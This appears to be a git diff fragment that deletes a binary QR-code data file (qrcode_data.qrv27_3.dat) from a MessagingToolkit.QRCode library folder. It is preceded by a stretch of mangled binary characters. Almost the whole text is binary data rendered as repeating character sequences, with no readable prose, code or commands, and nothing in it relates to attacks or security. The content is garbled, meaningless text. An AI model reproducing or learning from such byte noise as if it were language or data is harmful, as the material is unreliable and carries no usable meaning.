vtbAdXQr˂JtArdrXQJ`tAJlnvp|ZdQXv`ftbQZdfH~XQr˂JfpvrXQJ`tAJlnvp|ZdQ`f~Zp˂vpf`JXQrHfpvrXQJ`tAJlnvp|ZdQ`f~Zp˂fH~HAbےXnvZ|dpZHAb|ZdQےbHAtbdQZfH~btl~HXrtAJlf`vXpZHAbnXvےbHAtbdQZfH~btlHfpvrXQJ`H~f˂pZnXvےbHAtbdQZfے`JbtlHfpvrXQJ`f`vX`JXQrpfH~rQtJlے`JbtlZp˂|drf`vXJtArdv`ftbdnvpے`J`f~Zp˂|drf`vXJtArdnXvےbHA`vXnHAbے`f~Zp˂|drXQr˂JtArdnXvےbHAnvp˂pZf۝`vtbAdXQr˂JfpvrXQJ`tAJlnvp|ZdQ~HfpQZ|dfH~XQr˂HfpvrXQJ`tAJlnvp|ZdQ`f~Zp˂vpf`JXQrHfpvrXQJ`tAJlpZHAb|ZdQ`f~Zp˂fH~HAbےXnvZ|dpZHAbnXvےbHAtbdQZfH~btlvnXrtAJlf`vXpZHAbnXvےbHAtbdQZfے`JbtlHfpvrXQJ`H~f˂pZAnXvےbHAtbdQZے`JbtlHfpvrXQJ`f`vX`JXQHApfH~rQtJltuvwxyz{||{zyxwv------------............................ \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv27_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv27_3.dat deleted file mode 100644 index 468ef04..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv27_3.dat +++ /dev/null @@ -1,249 +0,0 @@ -|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJI|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJI|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJI|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcba`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJI|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJI|{|{|{|{zyzyzyzyxwxwxwxwssssststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWWWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJI|{|{|{|{zyzyzyzyxwxwxwxwststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcbababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYWWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJI|{|{|{|{zyzyzyzyxwxwxwxwststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJI|{|{|{|{zyzyzyzyxwxwxwxwststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG|{|{|{|{zyzyzyzyxwxwxwxwststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfedcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG|{|{|{|{zyzyzyzyxwxwxwxwststststrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG|{|{|{|{zyzyzyzyxwxwxwxwstssssssrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihgfefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWWWWWWXVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjihghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG|{|{|{|{zyzyzyzyvuvuvuvutststsssrqrqrqrqpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG|{|{|{|{zyzyzyzyvuvuvuvussstststrqrqrqrqpopopoponmnmnmnmlkjijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG|{|{|{|{zyzyzyzyvuvuvuvuststststrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHG|{|{|{|{zyzyzyzyvuvuvuvuststststrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[WXWXWWWWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIHGHGHGHGHGHGHG|{|{|{|{zyzyzyzyvuvuvuvuststststrqrqrqrqpopopoponmlklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[WWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGHGHGHGHG|{|{|{|{zyzyzyzyvuvuvuvuststststrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[ZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGHGHGHGHG|{|{|{|{zyzyzyzyvuvuvuvuststststrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKJIJIJIHGHGHGHGHGHGHGHG|{|{|{|{xwxwxwxwvuvuvuvusssssstsrqrqrqrqponmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGHGHGHGHG|{|{|{|{xwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGHGFEFEFE|{|{|{|{xwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE|{|{|{|{xwxwxwxwvuvuvuvutstststsrqpopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYWWWWWXWXVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFE|{|{|{|{xwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEzyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQPONMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEzyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEzyzyzyzyxwxwxwxwvuvuvuvuqqqqqqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]\[\[\[ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEzyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYWXWXWXWXVUVUVUVUTSTSTSTSRQPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEzyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYWXWWWWWWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?;<;<;<;<:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - FEFEFEFEDCDCDCDCBABABABA@?@?@?@?;<;<;<;<:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - - FEFEFEFEDCDCDCDCBABABABA@?@?@?@?;<;<;<;<:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!       - - - - FEFEFEFEDCDCDCDCBABABABA@?@?@?@?;<;<;<;<:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     - - - - FEFEFEFEDCDCDCDCBABABABA@?@?@?@?;<;<;<;<:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - FEFEFEFEDCDCDCDCBABABABA@?@?@?@?;<;<;;;;:9:9:9:9878787876565656543434343212121210/0/0/0/.-,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    FEFEFEFEDCDCDCDCBABABABA@?@?@?@?;;<;<;<;:9:9:9:9878787876565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    FEFEFEFEDCDCDCDCBABABABA@?>=>=>=<;<;<;<;:9:9:9:9878787876565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - FEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:9878787876565656543434343212121210/.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - FEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!       - - - - FEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#   - - - - FEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:9:9:9:9878787876565656543434343210/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#     - - - - FEFEFEFEDCDCDCDCBABABABA>=>=>=>=;;;;;<;<:9:9:9:98787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#     - - - - FEFEFEFEDCDCDCDCBABABABA>=>=>=>=;<;<;<;<:9:9:9:98787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#       - - - - FEFEFEFEDCDCDCDCBABABABA>=>=>=>=;<;<;<;<:9:9:9:98787878765656565432121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - FEFEFEFEDCDCDCDCBABABABA>=>=>=>=;<;<;<;<:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - FEFEFEFEDCDCDCDCBA@?@?@?>=>=>=>=;<;<;<;<:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#      - - - - FEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=;<;<;<;<:9:9:9:98787878765434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#       - - - - FEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=;<;;;;;;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#"!"!"!        - - - - FEFEFEFEDCBABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - FEFEFEFEBABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98765656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - FEFEFEFEBABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - FEDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;:98787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!      - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;;;878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=;;<;<;<;878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%$#$#$#"!"!"!"!        - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('&%&%&%$#$#$#$#"!"!"!"!        - - - - DCDCDCDCBABABABA@?@?@?@?>=>=>=>=:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - - DCDCDCDCBABABABA@?@?@?@?>=<;<;<;:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - - DCDCDCDCBABABABA@?@?@?@?<;;;;;;<:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - ||{{zzyy JJIIHHGGhhiijjkkaa``__^^(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[ppqqrrssllkkjjii99::;;AAllmmnnoouuttssrr]]\\[[ZZ,,--..//xxwwvvuu!!""##$$FFEEDDCCllmmnnoo]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__ttuuvvwwhhggffeeBBCCDDEEppqqrrssqqppoonnYYXXWWVV00112233ttssrrqq%%&&''((BBAA;;::ppqqrrssYYXXWWVV00112233AA@@??>>HHIIJJKK))((''&&``aabbccxxyyzz{{ - - ddccbbaaFFGGHHIIttuuvvwwmmllkkjjUUTTSSRR44556677ppoonnmm))**++,,99887766yyzz{{||UUTTSSRR44556677==<<;;::LLMMNNOO%%$$##""ddeeffgg - -||||{{zz ``__^^]]JJKKLLMMxxyyzz{{ - - iihhggff !!""##QQPPOONN8899::;;llkkjjii--..//0055443322||{{zzyy !!""##QQPPOONN8899::;;99887766PPQQRRSS!! hhiijjkk yyxxwwvvWWVVUUTTNNOOPPQQ ||||{{zz eeddccbb$$%%&&''MMLLKKJJ<<==>>??hhggffee112233441100//..xwvutssr$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWWllmmnnoouuttssrrSSRRQQPPRRSSTTUU - - yyxxwwvvaa``__^^(())**++IIHHGGFF@@AABBCCddccbbaa55667788--,,++**rqqppoon(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[ppqqrrssqqppoonnOONNMMLLVVWW]]^^uuttssrr]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGG``__^^]]99::;;<<))((''&&nmmllkkj,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__ttuuvvwwmmllkkjjKKJJIIHH__``aabbqqppoonnYYXXWWVV00112233AA@@??>>HHIIJJKK\\[[ZZYY==>>??@@%%jiihhggf00112233AA@@??>>HHIIJJKK))((''&&``aabbccxxyyzz{{ - - iihhggff !!""##GGFFEEDDccddeeffmmllkkjjUUTTSSRR44556677==<<;;::LLMMNNOOEEDDCCBBXXWWVVUUAABBCCDDfeeddccb44556677==<<;;::LLMMNNOO%%$$##""ddeeffgg - -||||{{zz eeddccbb$$%%&&''CCBBAA;;gghhiijj - - iihhggff !!""##QQPPOONN8899::;;99887766PPQQRRSSAA@@??>>TTSSRRQQEEFFGGHHbaa``__^8899::;;99887766PPQQRRSS!! hhiijjkk yyxxwwvvaa``__^^(())**++::998877kkllmmnn eeddccbb$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWW==<<;;::PPOONNMMIIJJKKLL^]]\[ZYX<<==>>??55443322TTUUVVWWllmmnnoouuttssrr]]\\[[ZZ,,--..//66554433ooppqqrraa``__^^(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[99887766LLKKJJIIMMNNOOPP WWVVUUTT@@AABBCC1100//..XXYYZZ[[ppqqrrssqqppoonnYYXXWWVV00112233221100//ssyyzz{{]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__55443322HHGGFFEEQQRRSSTT - - SSRRQQPPDDEEFFGG--,,++**\\]]^^__ttuuvvwwmmllkkjjUUTTSSRR44556677..--,,++||||{{zzYYXXWWVV00112233AA@@??>>HHIIJJKK))((''&&``aabbcc1100//..DDCCBBAAUUVVWWXX - - OONNMMLLHHIIJJKK))((''&&``aabbccxxyyzz{{ - - iihhggff !!""##QQPPOONN8899::;;**))((''yyxwvutsUUTTSSRR44556677==<<;;::LLMMNNOO%%$$##""ddeeffgg--,,++**@@??>>==YYZZ[[\\ KKJJIIHHLLMMNNOO%%$$##""ddeeffgg - -||||{{zz eeddccbb$$%%&&''MMLLKKJJ<<==>>??&&%%srrqqppo !!""##QQPPOONN8899::;;99887766PPQQRRSS!! hhiijjkk))((''&&<<;;::99]]^^__``GGFFEEDDPPQQRRSS!! hhiijjkk yyxxwwvvaa``__^^(())**++IIHHGGFF@@AABBCConnmmllk$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWWllmmnnoo%%$$##""88776655aabbccddCCBBAA@?TTUUVVWWllmmnnoouuttssrr]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGGkjjiihhg(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[ppqqrrss!! 44332211eeffgghh>=<;;::9XXYYZZ[[ppqqrrssqqppoonnYYXXWWVV00112233AA@@??>>HHIIJJKKgffeeddc,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__ttuuvvww00//..--iijjkkll%%98877665\\]]^^__ttuuvvwwmmllkkjjUUTTSSRR44556677==<<;;::LLMMNNOOcbbaa``_00112233AA@@??>>HHIIJJKK))((''&&``aabbccxxyyzz{{,,++**))mmnnoopp&&''(())54433221``aabbccxxyyzz{{ - - iihhggff !!""##QQPPOONN8899::;;99887766PPQQRRSS - -_^^]]\[Z44556677==<<;;::LLMMNNOO%%$$##""ddeeffgg - -||||{{zz((''&&%%qqrrsstt**++,,--100//..-ddeeffgg - -||||{{zz eeddccbb$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWW YXWWVVUU8899::;;99887766PPQQRRSS!! hhiijjkk yyxxwwvv$$##""!!uuvvwwxx..//0011-,,++**)hhiijjkk yyxxwwvvaa``__^^(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[TTSSRRQQ<<==>>??55443322TTUUVVWWllmmnnoouuttssrr - - yyzz{{||22334455)((''&&%llmmnnoouuttssrr]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__ - - PPOONNMM@@AABBCC1100//..XXYYZZ[[ppqqrrssqqppoonn ||{{zzyy66778899%$#"! ppqqrrssqqppoonnYYXXWWVV00112233AA@@??>>HHIIJJKK))((''&&``aabbcc LLKKJJIIDDEEFFGG--,,++**\\]]^^__ttuuvvwwmmllkkjjssrrqqpp::;;AABBttuuvvwwmmllkkjjUUTTSSRR44556677==<<;;::LLMMNNOO%%$$##""ddeeffggHHGGFFEEHHIIJJKK))((''&&``aabbccxxyyzz{{ - - iihhggffoonnmmllCCDDEEFFxxyyzz{{ - - iihhggff !!""##QQPPOONN8899::;;99887766PPQQRRSS!! hhiijjkkDDCCBBAALLMMNNOO%%$$##""ddeeffgg - -||||{{zz eeddccbb kkjjiihhGGHHIIJJ||||{{zz eeddccbb$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWWllmmnnoo@?>=<;;:PPQQRRSS!! hhiijjkk yyxxwwvvaa``__^^ - - - - ggffeeddKKLLMMNNyyxxwwvvaa``__^^(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[ppqqrrss:9988776TTUUVVWWllmmnnoouuttssrr]]\\[[ZZ  - - ccbbaa``OOPPQQRR uuttssrr]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__ttuuvvww%%&&''((65544332XXYYZZ[[ppqqrrssqqppoonnYYXXWWVV __^^]]WWSSTTUUVV - - qqppoonnYYXXWWVV00112233AA@@??>>HHIIJJKK))((''&&``aabbccxxyyzz{{))**++,,21100//.\\]]^^__ttuuvvwwmmllkkjjUUTTSSRRVVUUTTSSWW]]^^__mmllkkjjUUTTSSRR44556677==<<;;::LLMMNNOO%%$$##""ddeeffgg - -||||{{zz--..//00.--,,++*``aabbccxxyyzz{{ - - iihhggff !!""##QQPPOONNRRQQPPOO``aabbcc - - iihhggff !!""##QQPPOONN8899::;;99887766PPQQRRSS!! hhiijjkk yyssrrqq11223344*))((''&ddeeffgg - -||||{{zz eeddccbb$$%%&&''MMLLKKJJNNMMLLKKddeeffgg eeddccbb$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWWllmmnnooppoonnmm55667788&%%$#"! hhiijjkk yyxxwwvvaa``__^^(())**++IIHHGGFF !!""##$$%%&&''MMLLKKJJ<<==>>??&&%%srrqqppo !!""##QQPPOONN8899::;;99887766PPQQRRSS!! hhiijjkk yyxxwwvvWWVVUUTTNNOOPPQQ ||||{{zz eeddccbb$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWWllmmnnoo(())**++))((''&&(())**++IIHHGGFF@@AABBCConnmmllk$$%%&&''MMLLKKJJ<<==>>??55443322TTUUVVWWllmmnnoouuttssrrSSRRQQPPRRSSTTUU - - yyxxwwvvaa``__^^(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[ppqqrrss,,--..//%%$$##"",,--..//EEDDCCBBDDEEFFGGkjjiihhg(())**++IIHHGGFF@@AABBCC1100//..XXYYZZ[[ppqqrrssqqppoonnOONNMMLLVVWW]]^^uuttssrr]]\\[[ZZ,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__ttuuvvww00112233!! 00112233AA@@??>>HHIIJJKKgffeeddc,,--..//EEDDCCBBDDEEFFGG--,,++**\\]]^^__ttuuvvwwmmllkkjjKKJJIIHH__``aabbqqppoonnYYXXWWVV00112233AA@@??>>HHIIJJKK))((''&&``aabbccxxyyzz{{4455667744556677==<<;;::LLMMNNOOcbbaa``_00112233AA@@??>>HHIIJJKK))((''&&``aabbccxxyyzz{{ - - iihhggff !!""##GGFFEEDDccddeeffmmllkkjjUUTTSSRR44556677==<<;;::LLMMNNOO%%$$##""ddeeffgg - -||ttssrr8899::;;8899::;;99887766PPQQRRSS - -_^^]]\[Z44556677==<<;;::LLMMNNOO%%$$##""ddeeffgg - -||||{{zz eeddccbb$$%%&&''CCBBAA;;gghhiijj - - iihhggff !!""##QQPPOONN8899::;;99887766PPQQRRSS!! hhiijjkk qqppoonnAABBCCDD<<==>>??55443322TTUUVVWW 